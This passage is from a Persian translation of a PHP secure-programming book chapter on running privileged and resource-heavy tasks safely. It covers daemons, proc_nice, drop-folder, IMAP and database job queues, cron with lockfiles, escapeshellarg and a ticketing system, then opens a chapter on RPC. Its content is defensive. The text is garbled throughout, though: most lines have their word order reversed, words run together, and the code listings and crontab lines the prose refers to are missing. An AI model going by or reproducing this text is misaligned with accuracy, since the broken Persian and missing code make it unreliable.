 شود.  کشته کنسول، سوی از خودش که زمانی تا داد خواهد ادامه
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 ایجاد حال در که کندمی اعلام کنسول برروی تنها که دهیممی نمایش را اسکریپت این خروجی اکنون، ما

 شود. می خارج سپس و کندمی گزارش را فرزند این PID است، فرزند یک

 

 زمینه پیشهای فراخوان این تمامی توسط شدن تولید حال در که کنیم توجه لاگی فایل به باید ما اینجا، از

 داده نشان اینجا در دایمون این توسط شده تولیدی نمونه لاگ یک از باشد. بخشی)( میdlog تابعجهت 

 است:  شده
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 حال دری شده منقضی فرزند اولین سپس و اول فرزند چند ایجادی دهنده نشان لاگ فایل خروجی این

 با شده ارسال TERM سیگنال یک که کندمی گزارش دایمون نقطه، سه علامت از باشد. بعدمی شدن کشته

 است.  نموده دریافت را kill 29617 کنسول دستور

 تر پایین اولویت یک جهت تخصیص Nice از استفاده 12.2.2.6

 یک ولی دادیم قرار بحث مورد زمینه پس وظایف اجرای کنترلجهت  را فرزندان وها سیگنال از استفاده ما

 تغییر را زمینه پس پردازش یک نسبی اولویت تا دهدمی اجازه شما به که روشی دارد، وجود نیز سوم روش

)( proc_nice نام با را تابع یک فرزند هر که باشید شده متوجه قبلی کد خواندن هنگام است دهید. ممکن

 کند. می فراخوانی 20 مقدار با

 پردازش، آن اجرای اولویت خصوص در کرنل به که است nice مقدار یک دارای یونیکس پردازش هر

 نمودن آزاد و مسیر از شدن خارججهت  پردازش یک باشد، بالاتر nice مقدار چه دهد. هرمی اطلاعات

 )بالاترین 20- از مقادیری است. دامنهتر آماده سیستم بودن مشغول هنگامها پردازش سایرجهت  منابع

 ارسال خوبی گیرد. مقدارمی بر در خوبی( را بالاترین اولویت،ترین )پایین 20 خوبی( تاترین پایین اولویت،

 تابع از استفاده با 0 فرضپیش مقدار از توانمی را PHP اسکریپت یک توسط عامل سیستم به شده

proc_nice)( کاربر عنوان به اینکه مگر  داد کاهش را آن مقدار توان نیم )ولی داد افزایش root حال در 

 (.ن.ک.  بیشتر اطلاعات باشد( )برای اجرا

 قبیل از زمینه پسای دسته وظایف ولی ندهند تغییر را خود اولویت گاههیچ باید وبهای برنامه کلی، طور به

ای دسته هستند. وظایف کار اینجهت  محتمل نامزدهای داریم، کار و سرها آن با فصل این در ما که وظایفی
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 را سیستمی منابع که کنند تضمین 20 با برابر خود خوبی مقدار دادن قرار با توانندمی بالا CPU مصرف با

 کنند. نمی مشغول

  برداری بهرههای استراتژی 12.3

 با عملیات و root سطح عملیات ایمن اجرایجهت  توانیدمی شما که را خاصی موارد از بعضی ما که اکنون

 به کمکجهت  را کلی برداریبهره استراتژی تعدادی دادیم، قرار بررسی مورد دهید انجام بالا منابع مصرف

 کنیم. می ارائه اهداف، این به رسیدنجهت  شما

 شما آنلاینی برنامه ازها آن جداسازی از عبارت ایمن غیرهای فعالیت نوع دو هر مدیریت در مشترک عامل

 متفاوت نوع دو اینجهت  زیادی حد تا زمینه پس بهها آن انتقال زمینه هست. هدف پس درها آن اجرای و

 شده درخواست عملیات که کندمی تضمین میانی گام ،root سطح بود. جهت عملیات خواهد مختلف خطر،

جهت  حاضر حال در منابع که کندمی تضمین امر این بالا، منابع مصرف با نیست. جهت عملیات نامناسب

 بگذارند.  تاثیر شما سرور کارایی روی بر اینک بدون هستند دسترس در عملیات این اجرای

API سطح عملیات مدیریتجهت  ما که root سطح عملیات ایمن مدیریت به قادر دادیم پیشنهاد root 

 اکنون ما و استتر پیچیده زیادی بسیار مقدار به منابع بالای مصرف با عملیات مدیریت حال، این باشد. بامی

 پردازیم. می آن به

  صف یک با منابع بالای مصرف با عملیات مدیریت 12.3.1

 مدیریت ازتر پیچیده بسیار دارند تاخیر احتمالا که منابع بالای مصرف با وظایف از صف یک مدیریت

 قابلهای ریسک برابر در را شما کاربرانهای داده و شما سرور نتیجه در و باشدمی root سطح عملیات

 کنیم: می تمرکز متفاوتی مسئله سه بر و پردازیممی امر این به اکنون دهد. مامی قرار اجتناب

 نشوند اجرا غیرایمنای شیوه به کهای گونه به وظایف از صف یک ساختن چگونگی •

 توسط ایمن صورت به کهای گونه بهای دسته پردازشهای اسکریپت نمودن آغاز چگونگی •

 شوند اجراای دستهی پردازنده

 بعد را نتایج و نموده ردیابی را زمینه پسی وظیفه یک وضعیت تواندمی وبی برنامه یک چگونه •

 کند دریافت تکمیل از
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  صف یک ساخت چگونگي 12.3.1.1

 مدیریت در گام اولین نماید وظایف انتقال به شروع بتواند شما وبی برنامه کهای گونه به صف یک ساختن

 یا و شما سرورها آن اجرای کهای گونه به باشدمی ایمنای شیوه به منابع بالای مصرف با وظایف این

 نیندازد.  خطر به را شما کاربرانهای داده

  مدت کوتاه بندیصفجهت  دراپ فولدر یک از استفاده 12.3.1.2

 شوند کامل زیاد تاخیر بدون توانندمی که است وظایفی با استفادهجهت  مناسب که صف نوع ترینساده

نویسد، هست. می شوند، پردازش باید که را ییهاداده ، وبی برنامه آن، در که فولدر از یک عبارت

 در )فایل زمان اساس بر یا که کندمی بررسی جدیدهای فایل دنبال به را فولدر اینای دستهی پردازنده

 مثال، )برای گذاری نامی قاعده اساس بر است( یا شده ایجاد پردازنده بررسی آخرین زمان از زمانیی دامنه

 تا کندمی ارسال راها داده پردازنده، ادامه، دهد. درمی انجام را باشد( تشخیصمی new. پسوند یک دارای

 وب یبرنامه آن، در که دهد قرار جایی در را نتایج تا دهدمی دستور آن به و شوند پردازش سیستم توسط

 نماید.  ارسال کاربرجهت  و کرده پیدا راها آن است( بتواند بوده منتظر صبورانه )که

 سوال چهار هر به پاسخ به قادر بایدای دستهی پردازنده دراپ، فولدر یک در موجودهای فایل با کار هنگام

 باشد:  زیر

  هستند؟ پردازش نیازمند همچنانها فایل کدام •

 طی خطایی که دلیل این به نباشد واقع در ولی باشد پردازش تحت نظر به که دارد  وجود فایلی آیا •

  است؟ شده استارت ری سیستم یا و داده رخ پردازش

  شوند؟ ذخیره کجا باید نتایج •

  افتد؟می اصلیهای فایلجهت  اتفاقی چه پردازش از بعد •

 یک به پردازش تحتهای فایل باشد: انتقالمی موارد این شامل سوالات این به پاسخجهت  هایی استراتژی

ها داده با کار حال در پردازش ID کدام که امر این و وضعیت ردیابیها جهت فایل نام تغییر متفاوت، فولدر

ی برنامه توسط توانندمی نتایج این آن، در که نتایجی ذخیرهجهت  ثانویه دراپ فولدر یک از استفاده و است

 سازیپاک تنهایی به را مانده باقیی شده پردازش و اصلیهای فایل است ممکن شوند. دایمون یافت وب

 کند.  تکیه آشغال آوریجمع مجزای اسکریپت یک به یا و نماید
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 تر مدت طولاني بندیجهت صف IMAP از استفاده 12.3.1.3

 و ترینمعمول از یکی ایمیل که دارند، وجود سیستمی هر در قبل از که دارد وجود صف تعدادی

ی مسئلهجهت  را داخلی حل راه یک سیستم میلای مدیریت ابزار واقع، باشد. درمی موارد ترینبرجسته

 نمودن فرمت دهد. باارائه می هستند پردازش زمان توجهی قابل مقادیر نیازمند کهای دسته وظایف بندیصف

 برده بهره ایمیل موجود زیرساخت مزیت از توانیدمی شما ایمیل،های پیام صورت به وظایفهای درخواست

 کنید.  استفاده پردازش صف یک عنوان به IMAP میلای صندوق از و

 را برنامه ورودی صندوق شود،می فراخوانی شماای دسته پردازش اسکریپت که هنگامی روش، این اساس بر

 را معتبرهای درخواست تا کندمی بررسی راها پیام این ادامه، کند. درمی بررسی جدیدهای پیام یافتنجهت 

 تعیین قبل از حد یک تا امر این که نماید مدیریت راها آن از کدام هر تا کندمی ایجاد را فرزند پردازش بیابد،

 بیرون ورودی صندوق از و کرده حذف را موجود جعلی پیام نوع هر اسکریپت بود. این خواهد شده

 اندازد. می

 ورودی صندوق از خارج به خودهای پیام انتقال با را تمیزکاری یابد،می پایان فرزند پردازش هر که هنگامی

 وبی چسباند. برنامهمی ایمیل به الصاقیه یک عنوان به را نتایج و داده انجام دیگر فولدر یک درون به و

 و نموده نشان را آن شده خوانده عنوان به یا و کند حذف را پیام یا و کند دریافت آنجا از را نتایج تواندمی

 به توانندمی IMAP بگذارد. سرورهای باقی فولدر در شده انجامی وظیفه از تاریخچه یک عنوان به را آن

 نمایند.  مدیریت ،هاآن داخل در پیام هزاران با را فولدرهای ایمیل موثر شکلی

 از استفاده پورت، یا بسته یک طریق از آنی ساده نصب با یا شده، نصب IMAP با سرور یک روی بر

 زمانی جویی صرفه باعث تواندمی صورت این به وظایف بندیصف و دهی پیام سیستم یک عنوان به ایمیل

 موجب امر این که حالی نیستید. در خود سیستم از برداریبهره به مجبور که چرا شود شماجهت  بسیاری

 برقرار ارتباطها آن با باید شما که شودمی هاییسیستم زیر تعداد گسترش با شمای برنامه پیچیدگی افزایش

 امنیت اینترنت، روی بر روزمرهی گستردهی استفاده دلیل به و بوده قوی IMAP و سرورهای ایمیل نمایید،

 برداریبهره یا دهید توسعه سروری روی بر را خودی برنامه شما اگر دیگر، سوی است. از شده اثباتها آن

 پایین در سرور غیر عاملسیستم یک به را برنامه که دارید نیاز یا نباشد، IMAP از پشتیبانی دارای که کنید

 کنید.  ایجاد را خود صف و بگیرید نادیده را حل راه این است ممکن کنید، پورت دست،
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  بندیصفجهت  دادهپایگاه یک از استفاده 12.3.1.4

 بر زمان نتیجه در و بالا منابع مصرف باای دسته وظایف جهت مدیریت IMAP روشجهت  جایگزین یک

 کنید.  ذخیره دادهپایگاه یک در را آنها که است این

 باشد:  صورت این به است ممکنای دادهپایگاه چنین جهت ایجاد MySQL کد

 

جهت  راها آن کند، بازیابیها آن وضعیت اساس بر را نشده پردازش وظایف باید شمای پردازنده اسکریپت

 دوباره )و کند ذخیره را نتایج کند(، رسانی روز به را status و started )فیلدهای نماید ارسال پردازش

 در بازخوانیجهت  نتایج که دهد اطلاع کاربر به کند( و رسانی روز به را status و finished فیلدهای

 است. شده ارائه وظایف این جهت مدیریت PHP کلاس یک اینجا هستند. در دسترس
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 و هستند واضحیهای نام دارای همگی که عمومی متغیرهای از بزرگ گروه یک تنظیم با را کلاس این شما

 که کندمی بررسی را امر این تنها سازنده روش کنید. اینمی آغاز داده،پایگاه منبع یک خصوصی، متغیر یک

 در که گیردمی قرارها روش از کاملی مجموعه یک از مورد اولین ادامه خیر. در یا است معتبر منبع این آیا

 هستند:  مشابه ساختارهای دارایها روش اینی همه که باشد،)( میinsert حالت این



  PHPنویسي امن برنامه

326 

 

 
 

  خطا مختلف شرایط دنبال به بررسی -

  کوئری یک ایجاد -

  است شده اجرا موفقیت با کوئری اینکه بررسی -

  کلاس مناسب متغیرهای در نتایجی ذخیره -

  مناسب مقدار یک بازگشت -
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 شد، بیان قبلا که کلی چارچوب همین از کند،می مشخص را کارشان ،هاهای آننام که مانده،باقیهای روش

 داد.  خواهیم نمایش فصل، اینی ادامه در را کلاس این از استفاده کنند. مامی تبعیت

 ای دسته پردازش نمودن آغاز 12.3.1.5

 پردازش خود نمودن آغاز به حال دادیم، قرار بررسی مورد را صف یک ایجاد مختلفهای روش که اکنون

های داده یا و شما سرورجهت  ریسک نوع هر که شود انجامای شیوه به باید هم باز که پردازیمای میدسته

 جهت شروع cron دایمون از دهیم: استفادهمی نشان را ممکن روش دو برساند. ما حداقل به را شما کاربران

 وظایف اجرای و دنبال به جهت جستجو PHP در شما خود دایمون ایجاد وای دسته پردازش متناوب

 شده.  بندیصف

  اسکریپت یک جهت اجرای cron از استفاده 12.3.1.6

 اجرای هنگام را کاربر هر هویت تواندمی ولی شودمی اجرا root کاربر عنوان به cron سیستمی دایمون

های فایل از مجموعه یک و شودمی بیدار تناوبی صورت به دایمون کند. این اتخاذ شده، بندی زمان وظایف

 بندی زمان وظایف آیا ببیند دارد( تاها آن از یکی کاربر هر که crontabs نام )با کندمی بررسی را تنظیمی

 crontab مالک عنوان به دستورات باشد، داشته وجود خیر. اگر یا شوند اجرا باید که دارند وجودای شده

 شد.  خواهد ارسال باشد شده تنظیم crontab در کهای گیرنده هرجهت  خروجی و شوندمی اجرا

 مثالجهت  متناوب صورت به را شماای دسته پردازش اسکریپت ، cron که بگیرید تصمیم توانیدمی شما

 دو مانع که کنید ایجاد مکانیسم نوعی باید دهید انجام را کار این اگر حال، این کند. با اجرا دقیقه، سه هر در
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 این به امر کنند. این پردازش هم با را یکسان کوئری ورودی یک تا نکنند سعی که شود اسکریپت چند یا

 تا باشد داشته نیاز وقت شده بندی زمانی دقیقه سه از بیشای دستهی پردازنده یک اگر که است است دلیل

ی پردازنده cron که زمانی بود خواهد اجرا حال در پردازنده این دهد، انجام را صف در موجود وظایف

 که ببینیم تا کنیم بررسی ابتدا در ما قبلی، مثال در مسئله داشتننگه کند. جهت سادهمی آغاز را بعدیای دسته

 شویم. یکمی خارج بود، فعال اگر و خیر یا است فعال همچنان قبلیای دسته پردازش اسکریپت یک آیا

 که کند تعیین تا سیستم، CPU بار متوسط قبیل از بنگرد عوامل سایر به است ممکنتر پیچیده برداری بهره

 خیر.  یا دارد وجودای دسته پردازش از بیشتر موارد اجرایجهت  کافی فضای آیا

 lockfiles از اسکریپت شود. این فراخوانده cron توسط تناوبی صورت به تا کندمی تلاش زیر اسکریپت

 mp3 انکدرهای از حدی از بیش تعداد کهای گونه به کندمی استفاده همزمانهای پردازش جهت کشف

 نکند. شروع را موازی
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 را job. و wav. موجودهای فایل از فهرست یک و شودمی آغاز ضروری متغیرهای تنظیم با اسکریپت این

 کند. می استخراج دراپ، فولدر از
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 در قبل ازها فایل این که کنیدمی بررسی شما دارند، وجود کردن انکودها جهت فایل اینکه بررسی از بعد

 خالی فایل یک )که گردید( میlockfile) قفل فایل یک دنبال به که صورت این به نباشند شدن انکد فرآیند

 حال در وظایف تعداد که کنیدمی بررسی سپس است( و job. پسوند دارای ولی باشدمی wav. فایل نام با

 یک شما باشد،می انکدی آماده فایل باشد. اگر نرفته فراتر است، شده مشخص قبلا کهای محدوده از اجرا

 آنجا کنید. ازمی تنظیم حالتترین پایین در ممکن حد تا را انکودی وظیفه اولویت و نموده ایجاد را قفل فایل

 در که مسیرهایی که شوید مطمئن باید امنیتی دلایل به کنید، ارسال شلجهت  را دستور یک باید شما که

 شما ادامه، اند. درشده گرفته )( نادیدهescapeshellarg تابع از استفاده با درستی به هستند ارسال حال

 یک عنوان به دسترس )در LAME MP3 رایگان انکودر توسط تا کنیدمی ارسال شلجهت  را وظیفه

 گزارش را نتایج و شود پردازش(  آدرس در منبع کد دانلود عنوان یه وها توزیع اغلبجهت  نصبیی بسته

 )( راprocessorLog تابع شما اسکریپت، این انتهای درای کتابخانه بخش یک در نهایت، کنید. درمی

 نویسد. می لاگ فایل یک در راها پیام که کنیدمی تعریف

 این به کند اجرا دقیقه هر در بار یک را mp3Processor اسکریپت که بگوییم cron به توانیممی ما

 در که نماییم ویرایش را crontab مناسب فایل تا کنیممی اجرا را  که صورت

 کند. جهت انجام اجرا را اسکریپت این واقع در باید که کاربری UID از است عبارت <username> آن،

 کنید:  اضافه crontab فایل به را زیر خط دو کار، این

 

 هربرای  شدن اجراجهت  دستور یک و تناوبیی مشخصه یک شامل ورودی هر crontab فایل یک در

 ساعت، دقیقه، با منطبق که است فیلد پنج دارای مشخصه باشد. این مشخصه آن با منطبق که استای دوره

 یا مقادیر توانندمی فیلدها این و باشنداست( می شنبه با برابر 6 و یکشنبه با برابر 0) هفته روز و ماه ماه، روز
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*wildcard منطبق20**ی مشخصه است. بنابراین دیگر مقدار هر رخداد اولین با منطبق که باشند ** 

 با:  است

 ای دقیقه هر -

  ساعتی هر -

  ماه بیستم روز -

  ماهی هر -

  هفته از روزی هر -

 است برابر که 20ی شماره با ماه از روزی هر رخداد اولین با بود خواهد منطبق مشخصه این دیگر، عبارت به

 با بود خواهد برابر * تنها 6 1 18 30 شکل به مشخصه یک مشابه، شکل ماه. به هر بیستم روز شب نیمه با

 ژوئن.  اول روز ظهر از بعد 6:30

 تصادفی مقدار یک که است این بدانید crontab تناوبیهای مشخصه مورد در باید که مهمی مورد دیگر

 که بود خواهد منطبق زمانی تنها مشخصه دهد، رخ اتفاق این وقتی شود؛ تقسیم دیگر مقدار یک بر تواندمی

 با **** منطبق5*/ی باشد(. مشخصه منطبق دقیقا مشخصه که هنگامی )یعنی باشد صفر با برابر مانده باقی

 بود.  خواهد دقیقه پنج هر

 تحت قبل از صف در وظایف کدام که دارد عهده به را امر این ردیابیی وظیفه قفل فایل که دلیل این به

های اسکریپت ایمن شروعجهت  آل ایده روش یک واقع در cron دارند، قرارها اسکریپت سایر مدیریت

 نیم بود خواهد مجبور که داندمی کاربر یک نیستند. اگر فوری پردازش نیازمند که باشدای میدسته پردازش

 حتی و بود خواهد اندکی زمان، برای پردازش cronجهت  بیشتر انتظار دقیقه یک بماند، نتایج منتظر ساعت

 است.  گیرینادیده قابل

 PHPای دسته پردازش دایمون یک 12.3.1.7

 بیشتر انتظار دقیقه یک بکشند، طول ثانیه دو یکی حداکثر باید که است نتایجی منتظر کاربر یک که هنگامی

 باید شما حالت، این نیست. در منطقی وجه هیچ بهای دسته پردازش اسکریپت شروع منظور به cronجهت 

های پردازش و ثانیه هر نیاز صورت در مثلا کند، بررسی بالاتری بسامد با را صف که بنویسید دایمون یک

 کند.  ایجاد منابع، گیری قرار دسترس در هنگام وظایف مدیریتجهت  را جدیدی فرزند
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 تغییر نیازمند که گرددمی هاییفایل دنبال به که شودمی ارائه دایمون یک از مثال یک اینجا در بنابراین،

 آپلود nobody یعنی سرور وب بدنام کاربر توسط معمول که هستند هاییفایلها این هستند؛ مالکیت

 شوندمی

 

 

 دایمون یک» بخش در ما که باشدمی اسکریپتی با مشابه بسیار اسکریپت این خود، عمومیهای چارچوب در

 آنجا در ما بحث به توانیدمی شما دقیق، دادیم. جهت بحث قرار بحث مورد و داده ارائه را آن« نمایشی

 کنید. می آغاز را ضروری متغیرهای تنها شما اسکریپت، این بخش اولین کنید. در مراجعه
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 نهایتبیی حلقه یک در را آن کنید،می اجرا به شروع را دایمون شما اسکریپت، این بعدی بخش در

while( TRUE قرار ) ای وظیفه دنبال به تا شودمی بیدار ثانیه پنج هر دایمون این آن، طی که دهیدمی

 دارد.  نیاز آن توجه به که بگردد
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 که کندمی مدیریت را خاصیی وظیفه چگونه دایمون این که دهدمی نشان اسکریپت از بعدی بخش این

 شود،می بیدار دایمون این ثانیه، پنج ها. هرفایل مالکیت تغییر یعنی است، یافته تخصیص آن نظارتجهت 

 که گردد. هنگامیمی صف به جدیدهای افزودن دنبال به و کندمی ایجاد را jobManager جدید شیء یک

 تا کندمی کند. بررسیمی تقسیم مسیر و مالک ID دستور، یک به را درخواست کند،می پیدا مورد یک
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 و دارد را آنجا در دستکاریی اجازه دایمون، یعنی وی، که دارد قرار مکانی در مسیر این که شود مطمئن

 فعالیت دهد، تغییر را فایل مالکیت تا کندمی )( استفادهchown تابع از باشد، درست مسیر است. اگر معتبر

دهد.  انجام را سازیپاک و نماید گذارینشان شده تمام عنوان به را کوئری ورودی آن کند، لاگ را خود

 کند. می لاگ ساعت هر را خود حضور همچنین
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باشد. می سیگنال مدیریت توابع و استثناها مدیریت ها،لاگ از کتابخانه یک اسکریپت، این در بخش آخرین

 که PHP اسکریپت هر گردد،می جدید دستورات دنبال به را صف و باشدمی اجرا حال در دایمون که اکنون

 یک آیدمی ادامه در که دهد. چیزی انجام را کار این تواندمی است آن خدمات از بردن بهره نیازمند

 را مالکیت تغییر درخواست یک سپس و نموده ایجاد را تصادفی موقتی فایل یک که است نمایشی اسکریپت

 کند. می اضافه صف، در فایل آنجهت 
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 کلاس نمودن وارد از نمایید. بعدمی ایجاد را جدید موقتی فایل یک ساده، بسیار اسکریپت این در

jobManager شیء یک آغازنمودن و jobManager ،بر مجوزها تغییر کار به مشغول را آن شما جدید 
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 بررسی با توانیممی را استشده  انجام موفقیت با امر این کهنمایید. اینمی شده ایجاد تازه موقتی فایل روی

 کنیم.  مشاهده لاگ فایل

 

 شما سیستم امنیتجهت  که استای وظیفه انجام حال در ولی برسد، نظر به ساده است ممکن اسکریپت این

 ایمن اجرای بر متمرکز کدام هر که کنید ایجاد را مشابهیهای دایمون که بود قرار است. اگر اهمیت دارای

های داده و خود سرور امنیت تضمین سمت به را زیادی مسیر باشند، خطرناک بالقوه خاصی وظیفه یک

 خواهد ادامه اجرا به نهایتبی تا اصولا دایمونی چنین که داشت توجه نمود. باید خواهید طی خود کاربران

 کشته کنسول، از دستور یک توسط که زمانی باشد( تا فعالیت حال در ما سرور که زمانی تا حداقل )یا داد

 شود. 

  شده بندیصف وظایف ردیابي 12.3.1.8

 صف این از را وظایف چگونه و کنیم ایجاد را صف یک چگونه که دادیم قرار بحث مورد را موضوع این ما

 روشی نیازمند شما وبی پردازیم. برنامهمی تصویر این سوم بخش به نماییم. اکنون انتخاب اجراجهت 

باشد. می پردازش تکمیل هنگام نتایج برداشت و کندمی ایجاد کهای وظیفه دسته هر پیشرفت ردیابیجهت 

 یک جلسه ID کشد،می طول دقیقه چند از کمتر شدن اجرا و  صف بالای بهها آن رسیدن که جهت وظایفی

ها آن دادن قرار دسترس در و نتایج نمودن مشخصجهت  واضح روشی و است قبولی قابل ردیابی ابزار

 حالی در کند حفظ را کاربر بتواند شما وبی برنامه که زمانی باشد. تامی پردازش از بعد وبی برنامهجهت 

 شوند.  اتخاذ مستقیم صورت به توانندمی نتایج است، پردازش حال در زمینهپس در وظیفه که

 بیشتر حتی یا و دقیقه چندین است ممکن بزرگ،های صف یا و سنگین پردازشی وظایف خصوص در ولی

 باشید داشته انتظار کاربر از که نیست گرایانهواقع خیلی امر این که آنجا ازشود.  کامل پردازش تا بکشد طول

 دهد،نمی روی اتفاقی )ظاهرا( هیچ که حالی در کند نگهداری ثانیه 15جهت  حتی را فعالی جلسه یک که

 زمینه پس وظایف ردیابیجهت  جلسه ID یک ازتر دائمی چیزی به شما یبرنامه که دارد وجود احتمال این

 حتی یا وها ساعت است ممکن برسند، دیگر کارهای به تا کنند ترک را شما سایت کاربران دارد. اگر نیاز
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اند. شده منقضی که است طولانی زمان مدتها آن جلسات موقع، آن تا که بازگردند، که بکشد طول روزها

ی وظیفه یک نتایج رودمی انتظار که باشید داشته واقعیت این گرفتن نظر در به نیاز است ممکن همچنین

 خودی خانهی رایانه از راها آن کاربر که هنگامی بعدا است شده آغاز کار محل در رایانه یک از که زمینهپس

 باشند.  دسترس در کند،می بررسی

 یا فرد به منحصر کلید یک که کنید ایجاد را دهیبلیط سیستم نوعی باید شما ها،وضعیت این مدیریت برای

 وی تا دهد ارائه کاربر به را بلیط آن ادامه، در و نماید صادر صف در موجودی وظیفه هرجهت  را بلیط

 ولی برسد نظر به پیچیده است ممکن امر کند. این استفاده آن از وظیفه این نتایج دریافتجهت  بعدا بتواند

 نیست.  پیچیده اصلا واقع در

 مشغول وبی برنامه به را صوتی فایل یک کاربر یک که کنیم فرض دهید اجازه خود، قبلی مثالی ادامه در

 مصرف دارای MP3 انکدر که دلیل این کند. بهمی ارسال MP3 فایل یک عنوان به انکدشدنجهت  شما

 مورد زمان هر در صوتی فایل یک تنها تا کندمی استفاده صف یک از شمای برنامه باشد،می CPU بالای

 )( درuiqid تابع از استفاده با فرد به منحصر ID یک دارای صف این درون فایل گیرد. هر قرار پردازش

PHP تقریبی زمان وی به که یابدمی انتقالای صفحه به کاربر انکدشدن،جهت  فایل ارسال از شود. بعدمی 

 به و دهدصف( می در موجودهای فایل سایر تعداد اساس )بر را وی جدید صوتی فایل شدن آمادهجهت 

 وی به است ممکن کند. )همچنین استفاده آن از فایل دریافتجهت  تواندمی وی که دهدمی URI یک وی

 فرد به منحصر ID دارای URI نماید(. این ارسال ایمیل آدرس یک به را خروجی که شود داده انتخاب این

 کند،می مراجعه خود مرورگر در URI این به وی که باشد. وقتیمی خود درون در صف در شده داده

جهت  را فایل آن یا و خیر یا است انکدشده وی فایل آیا که ببیند تا کندمی تحلیل را صف بررسی اسکریپت

 کند. می رسانی روز به را فایل شدن آماده تا تقریبی زمان یا و کندمی ارائه وی به دانلود

 است. شده ارائه ممکن کاربری رابط یک از مثال یک اینجا در
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 HTML استاندارد متن یک ایجاد سپس و دراپ فولدر یک تعریف سازی، آغاز وظایف با اسکریپت این

 کند. می کار به شروع است، نموده درخواست را انکود که کاربری با جهت ارتباط
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 درخواستی هیچ و بود نخواهد دسترس در بلیطی هیچ شود،می اجرا اسکریپت این ابتدا، در که هنگامی

 وی آن، طریق از که کنیدمی ارائه کاربر به را فرمی شما نیست. بنابراین، دسترس در نیز انکدینگجهت 

 دریافتجهت  درخواست زند( یکمی سر دوباره بعدا )اگر یا و نماید انکدینگ انجام درخواست یا تواندمی

 متغیر جای )به GET$_ متغیر یک عنوان به بلیط ID مقدار دوم، حالت کند. در ارسال را نهایی فایل

 این بعدی بخش در که درخواست، همین ارسالجهت  دیگر روش با ( جهت تطابقPOST$_تر معمول

 شد.  خواهد ارسال دهد،می رخ اسکریپت
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 فایل آن پردازش به شروع شما آنگاه نمود، ارسال آن انکدجهت  درخواست با را فایل یک کاربر که هنگامی

 یک باشد، جهت انکدینگ wav. صحیح فرمت دارای فایل این که کنیدمی بررسی کنید. شمامی آپلودشده

ID با را آن و دهیدمی انتقال دراپ فولدر به را فایل کنید،می تولید را فرد به منحصر بلیط ID شناسایی بلیط 

 شما حالت، این گیرد. در قرار پردازش مورد بتواند که دهیدمی تغییرای گونه به را آن مجوزهای و نماییدمی

 یک عنوان به را بلیط ID شما نماید؛ دریافت را انکدشده فایل الان همین که دهیدمی کاربر به را فرصتی

 یک تنها کهای گونه به بود، اسکریپت این قبلی بخش در که فرمی در دقیقا نمایید،می ارسال GET$_ متغیر

 باشد.  کافی آن وجودجهت  بررسی
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 بلیط ID گردد. شمامی باز فایل دریافتجهت  کاربر آن در که کنیدمی مدیریت را وضعیتی شما نهایت، در

 را موضوع این شما باشد. سپس،).( نمی نقطه یک شامل که شوید مطمئن تا کنیدمی سازیپاک را ارسالی

 اینکه یا است انجام حال در همچنان پردازش آیا و خیر یا است نامعتبر بلیط ID آیا که کنیدمی بررسی

 فایل حذف با شما نهایت، کنید. درمی ارائه را خود گزارش اساس، همین بر و است شده تمام پردازش

 آن، کردنذخیره محض به که چرا دارید را کار این انجامی اجازه شما دهید؛می انجام را تمیزکاری اصلی،

 دادید.  تغییر را آن مالکیت
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  خلاصه 12.4

 مورد را خطرناک بالقوه سیستمی دستورات ایمن اجرای به دادن اجازه مشکلی مسئله فصل، این در ما

 باشند:  خطرناک توانندمی دستوراتی چنین که دارد وجود روش دادیم. دو قرار بررسی

 این که است آن معنای به که باشند سیستم به root سطح عمیق دسترسی نیازمند است ممکن -

دهند. می قرار عمدی یا تصادفی تخریب خطر برابر در را سیستم بالقوه صورت به دستورات

 . sudo دستور و sbin و suidهای باینری از عبارتند دستوراتی چنین از هاییمثال

 حال عین درها آن از بسیاری که معناست این به که کنند مصرف زیادی منابع توانندمی موارد این -

 متوقف را آن یا و کرده کند را شما سیستم بنابراین و کنند استفاده شما منابع تمامی از توانندمی

 نمایند. 

 کافی نماید، سازیپاک راها درخواست تمامی تواندمی که مدیریتی API یک ،root سطح عملیات برای

 آن، در که هستید دهیصف سیستم یک به نیازمند شما منابع، بالای مصرف با عملیات است. برای

باشد.  داشته وجودها آنای دسته اجرایجهت  کافی منابع که زمانی تا شوند دارینگه بتوانندها درخواست

 و سازی موازی کنترل بندی،صف مدیریتجهت  روشی نیازمندای دسته پردازش سیستم چنین از استفاده

 باشد. می PHP پردازش کنترل توابع سوی از کمک اندکی

 است:  زیر مشکلات حل نیازمند صف سیستم از استفاده

 ذخیره دادهپایگاه یک در که صف یک مدیریتجهت  را کلاس یک ما راستا، این صف: در ایجاد •

 نمودیم.  ارائه است، شده

تناوبی(  صورت به اجرا )برای cron اسکریپت یک از هایی نمونه ای: ما دسته پردازش نمودن آغاز •

 نمودیم.  ارائه دائمی( را اجرای )برای دایمون یک و

 ذخیره صف یک مدیریتجهت  را نمونه دهی بلیط سیستم یک شده: ما بندیصف وظایف ردیابی •

 نمودیم.  ارائه دراپ، فولدر یک در شده

 خواهیم دوردستای رویههای فراخوان ایمن مدیریت چگونگی خصوص در بحثی به ما سیزدهم، فصل در

 پرداخت. 
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 (RPC) 76دوردستای رویههای فراخوان ایمن سیزدهم: مدیریت فصل 13

ای رویههای فراخوان همان که پردازیممی خود ایمن عملیاتجهت  تهدید خرینآ به سیزدهم فصل در ما

 در که هستند دیگر کامپیوتر یک به کامپیوتر یک از هاییپیام وقاع درها باشد. اینمی ها(RPC) دوردست

 سرور روی بر را دستور یک اجرای یا اطلاعات نوعی درخواست و شوندمی ارسال شبکه نوع یک بستر

 نمایند. می دوردست

 اند: شده نوشته انسانی زبان به که هستند دوردستای رویه فراخوانهای درخواست از هایی مثالها این

  بفرست برایم راها فایل این -

  کن کپی ورودی، صندوق این به راها پیام این -

  کن منتشر من وبلاگ در را ورودی این -

  بگو من به کدپستی اینجهت  را هوا کنونی بینیپیش -

  کنم درخواست را مالی تراکنش این تا بده اجازه من به -

  بده انجام برایم را مالی تراکنش این -

  بده من به رایانه امنیت خصوص در امروزی شده منتشر مقالات از فهرست یک -

  کن ارائه را جستجو کوئری این نتایج -

 دوردستای رویههای فراخوان شوند،می شبکه اینترنت، بستر در سرورها سایر باها سایت که هنگامی

 تمامی از درونی ارتباط با یهایسایت شوند. چنین تبدیل سرورها وها مشتری برای مشکل یک به توانندمی

 کسی چه با صحبت حال در اینکه تایید مشکل قبیل از برندمی رنج اینترنت سرور هری بالقوه مشکلات

 این دیگر. به مشکل دو حداقل طورهمین و خیر یا اندشده داده تغییر انتقال مسیر در دستورات آیا و هستند

 موردها آن توسط که رودمی انتظار )و هستند باز خودکار،های اسکریپتجهت  هاییسایت چنین که دلیل

